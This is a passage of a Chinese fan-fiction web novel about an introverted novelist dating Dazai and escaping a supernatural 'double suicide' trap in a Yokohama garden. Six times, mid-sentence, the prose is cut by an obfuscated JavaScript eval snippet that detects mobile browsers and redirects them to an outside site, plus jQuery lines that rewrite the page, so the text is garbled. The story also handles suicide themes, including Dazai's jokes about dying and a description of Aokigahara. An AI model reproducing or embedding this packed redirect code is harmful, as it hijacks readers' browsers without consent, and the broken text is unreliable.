《i人能和太宰恋爱吗》
7. infp要气成ice了
只要哄哄就能好
*
“这就是你要和太宰先生分手的理由?”电话那头的纯子不知道在干什么,听起来乱糟糟的。
“这还不够吗。”我很不满意纯子的回答。
社死可是比生理性死亡更可怕的存在,如果上帝通知我今晚就要带我返乡重回天堂的话,哪怕我和他儿子一样手被钉在架子上撕都撕不下来,也要用灵活的脚指头把我在这个世界的所有痕迹统统删除。
“你的比喻每次都很神奇……我不记得你在东大辅修过修辞学。”
这时,一个浑厚的,一听就是大块头的男人扯着嗓子喊:“大姐头!我们……”
叮呤咣啷,她应该是把手机面朝下放在了桌子上拿东西盖住,但我还是清晰地听到梅津寺纯子的声音威严凌厉:”“闭嘴!都说了小点声。”
一分钟后纯子又回到了手机前,语气轻快,“我理解你的心情,i人嘛不想吸引别人的关注,但太宰先生不是别人啊,他是你男朋友诶。”
这和mbti无关,我就不信让她爸看到她和我充满口嗨的聊天记录不急。
我错了,我就不该和嗑药机说她的cp要be了,抓狂地挂断电话,我再次把自己摔进柔软的大床上。
看完我的小说后,太宰治是怎么想的呢。
我是对自己的作品很有信心啦,好歹也是多年畅销书作者。
但总有人在你的心里是不同的。你知道自己将是这个世界上声名最盛的作者,毕竟这个世界已经没有文豪了,留下你这只刚开化识字的猴子冒充人类,可还是会为他的一句话提心吊胆。
因为你冒充人类是为了从他们手里赚到瓜果梨桃送给你最喜欢的帅猴子,人类怎么吹捧你你不在乎,你只要他喜欢你送的香蕉就好了。
我在想什么啊,暴躁地拿起枕头用力扔在地上踹了几脚。
被自己的发散思维无语到了。
为什么我不能真变成猴子在树上荡来荡去哦哦哦呢。
算了,分手吧,和帅哥交往的荣耀相比还是社死更重要一点。
我决定给这段关系画上句号。
门口一阵叮叮咚咚的响声,很快门锁又被撬开了,是太宰治回来了。
我打定主意不理他。
太宰治欢呼着走进来,他总是那么有活力,“雪纪,我回来了。”
我安详地躺在床上蒙上被子,宛如一具尸体。
“雪纪?”
太宰治又叫了几声,听不太真切。他应该先去书房了,我一般都待在那儿,但这几天我是不会再做和社死有关的事了。
没找到我,他又回到了客厅,原地站了一会儿来到厨房。
我的听力很好,可以清楚地听见太宰治的脚步声不急不缓地在房子里穿行,把找到我当成捉迷藏一样的游戏。
在孤儿院时我很热衷这项活动,听着护士气急败坏地在每个房间来回移动,赶在她发现之前回到床铺上,再歪着头带着纯真而暗含挑衅的眼神笑容甜美地看着她。
不过也有翻车的时候,我带着银发酷哥躲在柜子里,追赶者的脚步声离我们越来越近,他们就在这个房间里,准备把柜子一个个打开,就像现在这样——
“啊!”
在我走神的时候,被子突然被掀开。
太宰治像小女孩从芭比梦想豪宅里拿娃娃似的,手穿过腋下把我抱起来,兴高采烈道:“找到啦,是我赢了。”
声音戛然而止。
身体止不住地颤抖,我的表情一定很难看,连太宰治都变得小心翼翼起来,“雪纪?”
我茫然地回抱住他,像被雨打湿的雏鸟,缩在他的怀里。
“雪纪,你怎么了。”
我紧紧贴在他的胸口,听到平稳有力的心跳后长舒一口气,活的,他是活的。
“喂,以后不管我在哪你都要找到我。”
我也会找到你,不管你在哪里,哪个世界,我都会找到你。
说完我就后悔了,理智回笼。
我失控了,这就是ptsd吗,原来我真正需要的不是帅哥的抚慰,而是心理医生。
我尴尬地从太宰治身上下来,听完我的话太宰治的身体就僵住了,我捂着脸说:
“抱歉,我刚才说了奇怪的话。”
“可以啊。”
诶,我不可思议地抬起头,太宰治背对着夕阳面向我,英俊的面孔隐在黑暗里看不太真切,我隐约感觉他的眼中带着慈悲与怜惜。
太宰治笑了笑。
“我捉迷藏很厉害的。”
……
我要收回对太宰治的兴趣只能维持三个月这句话。
目前来看可以是三年。
正感动着呢,正经不过三秒的太宰治凑到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14378662|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我面前贱兮兮问:
“那你不生气我当众朗读你写的小说的是了吧。”
我绷紧了脸,“不,我很生气。”
太宰治和没听见似的,继续说:
“侦探社准备这周末一起在三溪园赏樱,算是团建吧,你要来吗。”
“樱花开了吗。”
翻身下床,拉开窗帘,我才发现正对着窗户的那颗樱花树已经开花了,舒展的树枝上挂着新生的娇嫩花苞,层层叠叠遮掩了在它旁边的路灯。
从最温暖的九州岛开始一路北上,“樱花前线”终于来到了横滨。
太宰治像是算到我一定会这么做似的,低低地笑出来,“很漂亮吧,那说好了周末一起去?”
“这个,我可能没时间。”我想都不想拒绝。
谢绝任何团建联谊会,每次出席这种场合我都要事先在家做心理建设,回去后还要复盘内耗好几天,太累了。
“可是我已经和他们说好了你也一起去,除了国木田和敦其他人都不相信我竟然找了女朋友。”
太宰治开始嘤嘤嘤地假哭,他好爱演。
“你不去的话他们就要嘲笑我说我是撒谎精了。”
你本来就是吧。
“……那好吧。”
我叹气,怎么办,还是不忍心啊。
——
得到太宰治肯定的答复,负责赏樱团建统计人数的中岛敦很惊喜。
“森小姐真的要来?那天森小姐好像生气了,太宰先生是已经把人哄好了吗。”
太宰治心不在焉道:“唔,算是吧。”
从来没想过语重心长这个词会用在自己身上,中岛敦说:“对女朋友就不要恶作剧了,不会担心分手吗。”
“分手?她现在不会分手了。”
太宰治坐在座位上,桌子上摆得竟然不是他爱不释手的紫砂手册,而是一叠稿纸。他倚着头看外面的樱花,身姿流畅飘逸,像是古院里的秀树。
听到中岛敦的话后嘴角扬起一个淡薄的笑意,他无辜道:
“我只是觉得她抓狂的表情很有趣。”
“明明被人追杀时都能镇定地直视对方攻击的路线寻找退路,一点都不害怕,却怕我看到她的小说,不是很有趣吗。”
就好像……我是她无比重要的宝物一样。
我的每个举动,都牵扯着她的神经。
8. 说好的赏樱呢
i人大型社会化训练
*
三溪园的主人源高人求助于武装侦探社,园内连续一周发生游客紫砂事件,守园人反应半夜还会听到哭声,再这样下去就只能被迫关园了。
正好到了赏樱季,社长福泽谕吉干脆带着大家来三溪园团建,顺便看看到底哪出了问题。
副社长国木田独步率先提出质疑。
“所以为什么要把森小姐带来,森小姐没有异能,普通人不能插手武装侦探社的案件,不能知晓异能存在。”
“这你就不用担心了国木田君,”太宰治语气轻佻,“这是另一个计划。”
福泽谕吉也说:“只是必要的排查,太宰有分寸。”
所以太宰治对森雪纪小姐毫无感情,只是觉得她行迹可疑才以交往的名义施监视之实吗,国木田满脸地不认同。
虽然这样不容易打草惊蛇,但是……也太卑鄙了些。
就这样,可怜的被利用的,对恋人一无所知的森雪纪跟着太宰治来到了三溪园。
——
三溪园是横滨最古老的公园,它原本是资本家的私人庭院,近年才向游客开放参观。
而今天三溪园闭门谢客只接待了我们一行人,据说园主是侦探社社长福泽谕吉的好友,知道侦探社想要赏樱后特意把园子借给他们玩。
真是财大气粗啊,跟着太宰治来到这阔气而华美的庭园时我感慨。
赏樱要做什么呢。
要去公园挑选一树绚烂的樱花,要呼朋唤友一起坐在树下野餐,大家聚在一起打牌拍照,享受融融春光。
我们来时其他社员已经到了,和我想象的那样三三两两聚在一起赏樱,我先和国木田君和中岛君打了个招呼,其他人见到我后热情地围过来,然后在我自我介绍时不约而同地大惊失色。
“对,我姓森,森雪纪。”
我开始享受自我介绍这个环节了。
有机会一定要认识下这位同姓大佬。
所有人欲言又止,太宰治笑嘻嘻地说:“她和森先生毫无关系,我查过了。”
这下轮到我欲言又止了。
你小子,没把我高考成绩查出来吧。看到我数学满分的成绩你惭愧吗,失学儿童太宰治。
名叫与谢野晶子的女士瞪了他一眼,“太宰,你胡说什么呢。森小姐,你别信他乱说。”
太宰治听话地不说了,在年长优雅的女性面前他要比平时乖巧许多,我看着太宰治朝我露出可怜兮兮的眼神,一下就受不了了,维护道:
“没关系啊,我不在乎,太宰想看就看呗。”
太宰治立马精神了,得意道:“你看,雪纪自己都让我看了。”
“你这家伙。”
与谢野小姐的表情更不对劲了,拉着我非要带我去拍照,“森小姐,你这么漂亮性情又温柔,多拍几张照片发在网上一定有很多人想要你的联系方式的。”
我:……
我真的没有被太宰治的美色迷惑,我真觉得那些隐私无所谓。
拍完照后我和与谢野小姐就和其他社员会合一起野餐了,我们其乐融融地分享各自带来的食物,好像我已经完全融入这次赏樱团建的氛围里。
这是看起来这样。
对于我来说,和侦探社团建是一场大型社会化训练。
每个人都好活泼啊,连我以为同样容易害羞的中岛君都很有朝气,衬得我越发像个不会说话的哑巴。
这时一个人格格不入地窝在角落就有点太丢人了,我努力让自己变得合群。
从他们的反应来看,我做得还不错。
世上哪有左右逢源的i人呢,硬撑罢了(扶额苦笑)。
不过这种程度的聚会还好,从前混娱乐圈时和大佬应酬参加各种晚会才是真正的地狱。我的前经纪人知道我的毛病,以为只要多多参加活动就能把我的胆量锻炼出来,然而并没有。
直接抑郁症发作退圈。
退圈后我回归了素人行列,关闭了我的所有社交账号,下架了我演唱的歌曲,砸掉电视避免看到我主演的电影电视剧,非必要不出门出门时必戴大墨镜和口罩,就这样过了整整两年没人认出我的生活后,症状才减轻了点。
这时,我的钱也快花完了。
几年的明星生涯本该赚够了我能花一辈子的钱,但迫于我贫苦的出身,穷人乍富的缺点在我身上体现的淋漓尽致,我爱美食美景,爱华服珠宝,钱很快就花完了。
怎么办呢,顶级女星退圈后流落街头……我丢不起这个人。
按照我原本的人生轨迹,法学生毕业去当律师?
上辈子我原本是东大法学部大三学生,被人拉去拍了支广告莫名其妙进了娱乐圈开始走红。
法律条文还牢牢记在我的脑子里,我也很喜欢这份能帮助人的工作,比唱歌拍戏有意义多了。
但没有委托人愿意相信我雇佣我,大多人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14378663|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
认为我只是出来体验生活玩玩,没有打官司的能力。
这回我真的要去大街上捡垃圾了。
我的上辈子就是靠美貌智商打出了一手好牌,却被自己活生生作死的真实案例。
吃足了教训,如今我的愿望就是做一个普通人,写我喜欢的故事,和一个普通(但英俊)的男人谈恋爱。
现在我的愿望实现了。
——
当森雪纪和与谢野晶子在三溪园的景点三重塔拍照时,其余社员坐在树下围成一个圈讨论。
国木田独步率先发言:“我没看出森小姐是异能者的可能性,也没有危险。”
泉镜花表示赞同:“森小姐一看就是好人。”除了姓以外。
中岛敦跟着点头,但他觉得还是先报告比较重要,“除了游客禁步的林洞庵和横笛庵没有探查,其他地方没有异常。”
“那问题就出在这两个草庵上了吧,交给我来解决吧。”太宰治自告奋勇。
国木田独步自然而然认为是他和太宰治一起,“那我今晚准备一下。”
岂料太宰治用毋庸置疑的口吻拒绝了,“不,我不和你去。”
“那就让敦……”
“我今晚带雪纪去三溪园。”
没想到太宰治会这么不靠谱,国木田独步咆哮:“太宰治你疯了吗,万一出了什么差错你赔得起吗。”
太宰治还是一幅懒散的模样,捡起一个雪见今早特意为赏樱准备的饭团吃了。
是专门为他做的蟹柳口味。
“我不这么认为,雪纪比你想象得要坚强厉害多了。”
还很可爱。
——
终于结束了。
我压抑着心中的雀跃收拾东西准备回家,就在这时背后一道森冷的目光几乎穿过我的胸膛,我打了个哆嗦,猛地转头朝身后一看,却什么也没有。
太宰治关切地看过来,“怎么了,身体不舒服?”
我犹豫了一下,指了指草庵的方向:“那边,感觉好像有人在看我。”
“是吗。”太宰治笑了一下。
我素来敏感,发现太宰治的这个笑少见的带着寒意与怒气。
他为什么会生气呢。
不等我想出个所以然,太宰治又笑眯眯地对我说:
“雪纪,不如今晚我们再来一趟三溪园?只有我们两个人。”
“就当是给小说取材了,你还没写过鬼故事吧。”
9. 吃醋被误解成ntr了
神经大条的i人没有听出弦外之音
*
夜晚的古老庭院幽静冷谧,树影深深,落叶滚着溪流而下,流水划过石上的青苔,池中的锦鲤听到有人经过跃出水面,见来人两手空空没有饵食又沉入水底。
在池中央的吊桥上两名行人匆匆走过,木质的桥板发出不堪重负的吱呀声,走在后面的男性刻意压低了嗓子絮絮念叨,声音呕哑难听。
“……日本有许多发生过怪谈的森林,其中最有名的是位于富士山西侧的青木源之森。据统计在青木源紫砂的人数已多达一万人,是名副其实的紫砂圣地。”
“传说想要紫砂的人们会在踏入森林时在入口的大树和自己的腰间系一条长长的绳子,然后走进密林深处,如果他们后悔结束生命就可以顺着绳子回到原点。”
“但是,没有一个人活着回来。”
……
念完资料太宰治合上手机,兴高采烈道:“决定了,下次就去青木源来场爽朗的紫砂吧。”
“恭喜你找到了新的紫砂方式。”
尊重太宰治的爱好,我的内心古井无波,手持手电筒走在前面——这个公园晚上没有路灯只能靠手电筒照明,“但这些故事都和我们今天的目的地没关系,三溪园是人造的。”
“不是哦。”太宰治反驳了我,他拿过手电筒,朝远处的三重塔照了照。
“那座三重塔是从京都搬来的老物件,还有几个茶室庵堂都是上个世纪的产物,比三溪园大好多岁呢。”
“而且三溪园原本就是依山而建,保留着许多古树。”
在霓虹这个充满了怪谈神隐故事的国家,古老意味着邪性。
看来我真要开启灵异副本了。
“所以今晚我们排查的重点是林洞庵和横笛庵?三重塔白天我和与谢野小姐去过了,没感觉有什么异常。”
太宰治笑了,语气中带着赞赏,“Bingo~我们出发吧。”
我撇撇嘴,还有好长的路要走啊,这个公园太大了。
我举着手电筒,悄悄看了眼走在我旁边的太宰治。
他的步子比平时小了一点,像是刻意配合我一般,于是我也调整了脚步,很快我们俩就一齐地左脚迈左脚,右脚迈右脚了。
我的心情就像池塘里的锦鲤吐的泡泡一样,那个泡泡噗地一下炸开了。
我和太宰治天马行空地瞎聊。
“近藤编辑的事有结果了吗。”
我才想起来我好久没有想起近藤编辑了,脑子已经自动把这个人的记忆删除了。
“她跟警察说,因为她太喜欢我的小说了,慢慢喜欢上我这个人,但是我对她爱答不理的,她因爱生恨,想把我杀掉让我永远记住她,才会被佐佐城信子利用。”
说完抖了一身的鸡皮疙瘩,坚定了我与人少来往的信念。
“出版社跟我道了歉,又给我换了一位编辑,还没来得及见面。”
太宰治沉默地听着,不知不觉我们已经走到了林洞庵的门口,我们看了一眼“游客禁步”的指示牌,不约而同地选择当没看见。
就在我们推门而入之前,太宰治随口一说似的道;
“说起来,国木田君也很喜欢,很维护雪纪呢。”
“是吗。”
我想了想,没感觉出来啊,国木田君对我只是比较有礼貌而已,属于正常的男女交流范围内。
“是啊,因为雪纪简直是他理想的结婚对象。”
太宰治详细描述了国木田君有一本名叫“理想”的本子,里面写满了他对未来的计划,连对未来的妻子都有详细的描述。
“雪纪你的各方面都踩在国木田君的心坎上了。”太宰治又强调了一遍。
我觉得无所谓,“我这么优秀,成为别人的理想型是很正常的事吧。”
这才哪到哪,当年多少人号称我是他们的梦中情人呢。
反倒是你太宰治,看不出来你还有ntr自己的爱好。
太宰治不说话了,他突然走地飞快,超出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14378664|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我许多,风一般地卷进了庵堂。
“太宰,太宰。”
莫名其妙发什么颠,我追着太宰治跑进庵堂。
……人呢。
太宰治人去哪了。
空荡荡的庵堂里只回荡着我一个人的声音。
莫非我或者太宰治到了一个不存在的空间?我飞快地冷静下来。
手电筒胡乱地四处乱照,这座空置多年的庵堂里放置了许多佛像。或坐或卧的佛陀拈花一笑,上半张脸是审视,下半张脸是慈悲,彩漆从他们的皮肤上剥落,露出泥土的原貌。
我没有不可直视佛像的忌讳,用手电筒的光一个个扫过去,力图找出诡异的地方。
所有的诡计、机器、密室,都有一个“眼”,只要找到了这个“眼”,问题迎刃而解。
林洞庵的内部不像进口那么狭小,我手电筒往前照一照,竟然黑得深不见底。
确认面前的这些佛像没有异常后,我大着胆子向里面走去。
从无数的佛像中走过是一件很考验胆量的事,我默诵着《大悲咒》小心不碰到地上的佛像。多亏了上辈子为了静心手抄了许多经书,如今还能背出好多来。
马上就要穿过这间摆满佛像的房间,向更深的地方去了,我心里一下轻松了不少,手电筒胡乱照了几下,正要略过两侧的佛像匆匆离开,我的脑袋突然炸开了似的,停住了脚步。
不对!
刚才在我右手边的佛像,他的手不该拿着宝塔!
这里的每个佛像,他们的手上原本都空无一物。
我僵硬地转过身子,手电筒冷调惨白的光线下一尊尊佛像如同鬼魅般淫邪。
佛依然捧着宝塔,慈祥地笑着。
不能跑,要镇静。
我手掌一翻正要摆起攻击的架势,那尊宝塔却突然变大,此时我已经来不及躲了,宝塔直接将我压在了塔下。
失去意识前的那一刻,我脑海中最后的念头是:
这回写小说有素材了。
10. i人冷静如恐游女主
我们殉情吧
*
人昏迷后首先恢复的是知觉。
我躺在坚硬的地砖上,身下垫了件衣服。那件衣服很大,还有很长的一部分披在我的身上,将我整个人包在里面。
双手自然垂落没有被绳索束缚,与之相反的是腰间被一条麻绳牢牢缠住。
身体没有外伤。
闻到了一股特别的味道,好像是檀香?
我的三点钟方向应该坐着两三个人,听到了他们的说话声。
我正犹豫要不要睁开眼睛,窃窃私语的人们停止了交流,过了一会儿有人走了过来,手指放在我的人中上,他在试我的鼻息。
我下意识屏住了呼吸。
“她不会死了吧,怎么办,要不要把她叫醒?”
这是刚刚试我鼻息的人在说话,原来是个女孩,听声音还很稚嫩,语气中带着担忧。
“再等等吧,马上门就开了,万一她醒来然后走出去了怎么办。”
稍远一点的位置另一个女孩说话了,她说了好几遍才把句子理顺,像是吓坏了。
很好,没有危险。我放下了心,正要演一出“受害人迷茫醒来我什么都不知道”的样子时,又有一个男人开口了,距离较远,声音懒洋洋地又带着笃定,像是在安慰受惊吓的小姑娘。
“不用担心,雪纪很快就会醒的。”
是太宰治。
难道他也被抓了,这下什么也顾不得了,我唰地睁开眼睛坐了起来,“太宰!”
首先看到的是高耸的墙壁,望不到天花板。
墙壁的四角点着油灯,角落还有一盆清水,但没有食物,也就是说凶手不想让我们那么快死掉。
这是一间密室,房间是诡异的圆柱形,将人围成一个圈圈在里面,门在最中央的位置,铜金色非常显眼。
“呦,雪纪,你醒了。”
我扭过头,太宰治已经走到我面前,只穿着马甲衬衫,此时的他就像黑夜中的一颗夜明珠一样不断吸引着另外两名女孩的目光。
顾不上吃醋,我快速把太宰治全身上下打量了一遍,没有受伤。
感受到我的视线,太宰治的嘴角上扬了一点,蹲下来摸了摸我的额头,“太好了没有发烧,本来有点担心你会着凉。”
我这才发现原来被我垫在身下的就是太宰治的风衣。
藏在衣服下的手下意识将掌心的布料捏得更紧。
太宰治似乎看穿了我的小动作,配合地将我整个人塞在风衣里,这下我身上完完全全都是他的气息了。
细心地整理好耳边的碎发,太宰治朝我眨了眨眼睛。
“好了,撒狗粮时间结束,我们来解决委托的问题吧。”
……我的脸应该没红吧。
那两名女孩果然是一对jk,而且已经在这里呆了好几天,校服上衣的领口变得过分大了,稍不注意就能露出整个肩膀,下巴尖尖的,眼睛格外的大。
这就是最近在三溪园失踪的横高女学生吧,其中一人的母亲是议员,女儿失踪后不断向三溪园的主人源高人施压,迫于压力源高人才向侦探社委托。
太好了人都是活的,我真心实意地对太宰治说:
“太好了太宰君,委托已经完成一半了。”
“噗。”某人欲笑又止。
“不要当着受害人面这么说啊。”太宰治无奈道。
“我已经大致了解了事情的全貌,要听听看吗。”
——
铃木绘里和小松奈奈是学校怪谈社的社员,听说了三溪园失踪案后怪谈社的社长土间阳菜提议这次的部活是夜访三溪园。
怪谈社只有社长和她男朋友大野明,铃木绘里和小松奈奈四个人,那天晚上他们来到三溪园,在锦鲤池看了会儿鱼,突然就失去意识了,醒来就在这里。
年轻人真爱作死啊。
可现在只有她们俩个人,我追问:“那两个人去哪了。”
铃木绘里发出一声抽泣:“社长她,她和大野君……出去了。”
小松奈奈接话:“一开始还有好多人关在这里,男生女生都有。但是每次开门都会有人就像被控制了一样,哭喊着不要走,手脚却不停使唤地走出门,也不知道去哪了。”
就像是紫砂的人们,走进了陌生的森林。
“你们不能跟着溜出去吗。”
小松奈奈摇摇头,“绳子不让我们动,它
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14378665|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是活的。”
我摸了摸系在腰上的绳子,绳子的一头几乎与墙面融为一体,找不到绳子和墙连接的地方,另一头则一直延伸到隐藏在黑暗中的大门。
我望向太宰治,他点点头,“我已经试过了,会被弹回来。”
所以只能等门自动打开,才能顺着找到线索。
“被控制出门的人有什么特征,是随机几个人吗。”
“不是,每次都是一男一女。”
小松奈奈否定了我的话。
一男一女,腰间系着绳子离开,再也没回来。
我明白了。
凶手想让被关押的人“殉情”而死。
所以铃木绘里和小松奈奈依旧是安全的,凶手还没有抓到和她俩配对的男生。
下次开门出去的一定是我和太宰治。
小声将我的推论和计划跟太宰治说了一遍,他和我想的一样,我们迅速达成一致。
现在只要等着再次开门我和太宰治出去就行了,心里顿时轻松了许多。
反正也没事做,我从上衣口袋里掏出一个小记事本和铅笔,开始构思新小说。
这么好的素材必须立刻写下来。
这场面可能落在别人眼中很奇怪,坐在我旁边的铃木绘里问:
“你拿纸笔出来干嘛?我知道了,难道你的笔记里有三溪园的地图?”
“不是,我是个小说家,现在突然有了灵感,这么好的写作氛围不动笔可惜了。”
她脱口而出,“你有病吧。”
我没理她,我来夜访三溪园的目的就是寻找写作素材,这叫不忘初心。
——
大概过了半个钟头,我才写完了一页纸,满意地吹了吹记事本上的铅笔灰,这才舍得将视线挪给坐在我旁边的太宰治。
也不知看了我多久,中途还换了好几个姿势,跟好动的比格似的,好不容易才安静下来。
“?”你在看什么。
“没什么。”
他歪着头视线落在我的记事本上,语气郑重的是我认识他以来最认真的一次。
“我只是在想,如果能真的和雪纪殉情的话,那一定是我最幸运的事了。”
11. 太宰,你是这样做侦探的吗
小i驳回了你的殉情邀请
*
森雪纪沉下了脸,:“谢谢你寻死时能第一个想到我,但我拒绝。”
每次太宰治提议殉情时,她都很不高兴,明明自己故意搞事折腾她时她都满不在乎,生一两天的气就好了,但殉情不行,死亡似乎是她最讨厌的事。
没有人不畏惧死亡,但森雪纪在真正遇到危险时却一点都不害怕。
像是没听到jk的吐槽,森雪纪已经全情投入到创作中了。
飞蛾扑向昏黄的油灯,烧尽半个翅膀后掉在森雪纪的记事本上,残躯徒劳地颤动,太宰治觉得他的心也跟着落在那本子上了。
森雪纪忙着构思内容,她眉头紧锁,随手把濒死的飞蛾拂去了。
她蹙着眉,写一行字就要咬着铅笔再划掉几个字,一会儿皱眉苦着脸,一会儿又眉飞色舞,铅笔在指尖旋转时好像美丽的俄国少女在冰面上起舞,就这样周而复始,很快写完了一页纸。
她竟然真的在这种环境下认真的写作。
神经大条都有点说不过去了,那么森雪纪就是和自己一样,自信一定能应付眼下的局面,有恃无恐。
让她有恃无恐的资本是什么呢,无论怎么看都只是个普通人而已啊。
太宰治坏心眼的问道:“雪纪你不怕我们万一会死在这里吗。”
森雪纪就像从来没想过这个问题似的,茫然地反问:“你把我带到这里来的,不负责带回去吗,我相信你。”
……竟然是靠对自己的信任吗,把性命交到别人手中,太不明智了。
“啊,可是我只有让自己一个人逃出去的计划,没办法救你哦。”
“哦,是吗。”森雪纪说,她一点都不慌张,镇定与坦然的仿佛她从来没指望会受到别人的帮助一样,她早就准备好自救了。
合上记事本,森雪纪脱下了披在她身上的外套,细心地折叠好交给太宰治。
目光落在那被压出褶皱的风衣上,太宰治单手接了过来,不成想手被森雪纪用力握了一下。
这是一个带有安抚意味的笑,森雪纪说:“那就交给我吧,我会带你回家的。”
回家,吗。
那个冷清的只有摞到天花板数不清的书籍的房子,也能被称作“家”。
真是让他开始期待起来了呀。
“不过,你真的太逊了,”
女友秾艳明丽的脸上流露出一丝鄙视,
“都没想过怎么救两位jk妹吗,你就是这么当侦探的?”
“……”
太宰治无奈地发现,森雪纪好像当真了,她认为自己对如今的局面无计可施。
——
即便知道太宰治平时很不靠谱,我也没想到他会这么不靠谱。我可是抱着看热闹的心态出来玩的啊,竟然还要我自己想办法抓到凶手吗。
他不会是在考验我吧?难道是侦探社的入社测试吗,他们觉得我很有潜力?
算了算了,先解决眼下的问题吧。
大门正在缓缓打开。
腰间的绳子骤然被拉得笔直,朝着门外的方向不断延伸,我和太宰治不受控地被绳子拉得站了起来,向外走去。
“太宰先生!森小姐!”
我回过头叮嘱哭成一团的铃木绘里和小松奈奈:“不用担心我俩,很快你们的父母就会来接你们了。对了,我这还有两块压缩饼干,你们先垫垫肚子。”
差点忘了我还带了饼干,我是真的以为大家是出来玩的。
唉,以后再也不出门了。
“太宰君,我们先顺着绳子走走看,看看能不能找到之前失踪的人。”
太宰治无不可地回应:“好。”
我觉得他这么淡定还是有后手。
很快我们走出了密室,夜已经比我们刚到三溪园时更深了,根据月亮向西移动的方位,现在应该是凌晨两点左右。
我回过头,发现囚禁我们的密室竟然是一座宝塔,和我在林洞庵见到的那尊被佛陀捧在手里的宝塔一模一样。
怪不得它的天花板会那么高,里面又是圆形,但被压在塔下这件事有点超现实了。
眼前的小路越来越难走,这已经不是三溪园的景致,高大的树木遮天蔽日,我们几乎看不到天上的月光了。
“可能是通向后山的路,”太
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14378666|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宰治说:“或者是别的地方。”
过来大概快一个多小时,久到我都想抱怨怎么这条路还没有到尽头,太宰治突然拉住了我,“你害怕吗。”
我摇摇头,“不怕。”
还以为会有什么豺狼虎豹把我们生吞了,结果真就是在黑夜里走路啊,有什么好怕的。
说着我泄愤般的踢了下脚边的石子,结果差点被莫名出现的庞大物体绊倒,触感沉重而柔软,让我大脑瞬间清醒了大半。
“……太宰,”我声音艰涩,“我脚下好像躺着一个人。”
“嗯,我知道。”太宰治一幅没什么大不了的语气,“我刚刚也踩到了。”
听你的口气怎么像经常踩到死人一样啊!
他捏紧了我的手,就像我刚刚安慰他一定会带他出去时一样。
太宰治拉着我绕过了脚下的尸体,“不要怕,这里是依靠人对死亡的恐惧杀人的。”
我的心变得前所未有的平静。
——
随着最后一点月光被浓密的树林遮掩后,我们踏入了真正的黑暗。
太宰治转动了一下表盘,那竟然是一个简易的手电筒,透过微弱的光芒,我们看到前方的尸体越来越多,将小路围得堵塞不通。
赶路变得格外艰难。
“是因为他们都很害怕,活活被吓死在这了吗。”
“不止,还有自相残杀。”
太宰治指了指他左手边被挂在树杈上的尸体,放在地上。
那名女孩青紫色的脸上满是恐惧和不可置信,脖颈上一圈掐痕,是被人害死的。
我看了看她身上的校服,和铃木绘里小松奈奈是一样的制服。
这就是铃木绘里她们怪谈社的社长吧,我脱下外套盖在女孩身上,“那个男孩去哪了。”
“估计也死了吧,一个人是走不出森林的。”太宰治说,他平静地像早就预料到了这种事。
不惜手刃恋人,但还是没有逃出去吗,真可笑啊。
我轻轻抚上女孩的眼睛。
良久,太宰治拽住我的袖子把我搀扶起来。
“前面好像有光,我们走吧。”
12. i人自信:你喜欢我吗,鸭头
我俩真不殉情,你找错人了
*
很神奇的,当我们加快了步伐冲向那唯一的光源时,路边的尸体越来越少,直至绝迹。
太宰治拉着我快要飞起来,他挡在我前面拨开半人高的杂草和狂乱的枝条,树影婆娑,在折断拦在眼前的最后一根松树枝后,三重塔屹立在我们的眼前。
绑在我们腰间的绳子无声无息地松开了。
我们逃出来了。
